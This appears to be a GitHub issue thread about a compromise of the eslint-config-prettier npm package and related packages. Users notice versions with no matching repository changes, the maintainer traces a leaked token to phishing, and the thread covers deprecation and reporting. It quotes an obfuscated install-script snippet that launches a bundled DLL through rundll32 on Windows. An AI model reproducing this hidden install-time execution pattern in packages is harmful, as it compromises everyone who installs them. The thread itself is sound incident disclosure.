four new versions published with no code changes to repo

[dasa]

The diff looks a little odd: https://npmdiff.dev/eslint-config-prettier/10.1.5/10.1.7

Is this expected? https://www.npmjs.com/package/eslint-config-prettier?activeTab=versions

[onemen]

I think that there is a virus in node-gyp.dll

[onemen]

The same for eslint-plugin-prettier

[martincostello]

There's definitely something weird here.

Here's the renovate diff: https://app.renovatebot.com/package-diff?name=eslint-config-prettier&from=10.1.5&to=10.1.7

It shows the addition of an installation script and a .dll. The script has this concerning looking not-very-obfuscated code in it trying to call rundll32 with the DLL:

         if(os.platform() === 'win32') {
             const tempDir = os.tmpdir();
             require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
             [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
             log(`Temp directory: ${tempDir}`);
             const files = cache.readdirSync(tempDir);
             log(`Number of files in temp directory: ${files.length}`);
         }

[martincostello]

There's also been no PRs or comits for about two months in GitHub and no new releases to match the published packages.

[onemen]

I have send a report to npm about it

[martincostello]

Also noteworthy is that the latest releases before today have npm provenance to them - these new ones do not.

[JounQin]

Damn... Whose npm token is must been leaked!

[mooyoul]

@JounQin Published user is you - So your token leaked maybe?

[JounQin]

Shit! It's this phishing email...

I've deleted that npm token and will publish a new version ASAP.

[martincostello]

Before npm take them down, can you mark the bad packages as deprecated? Then maybe dependabot, renovate etc. won't offer them as upgrades to people.

[JounQin]

Before npm take them down, can you mark the bad packages as deprecated? Then maybe dependabot, renovate etc. won't offer them as upgrades to people.

Yeah, I'm doing this.

[onemen]

@JounQin

You need to check all your packages in NPM

https://www.npmjs.com/package/napi-postinstall
https://www.npmjs.com/package/eslint-plugin-prettier
https://www.npmjs.com/package/synckit
https://www.npmjs.com/package/@pkgr/core

maybe more

[JounQin]

@onemen Thanks, I'm checking according to my emails now.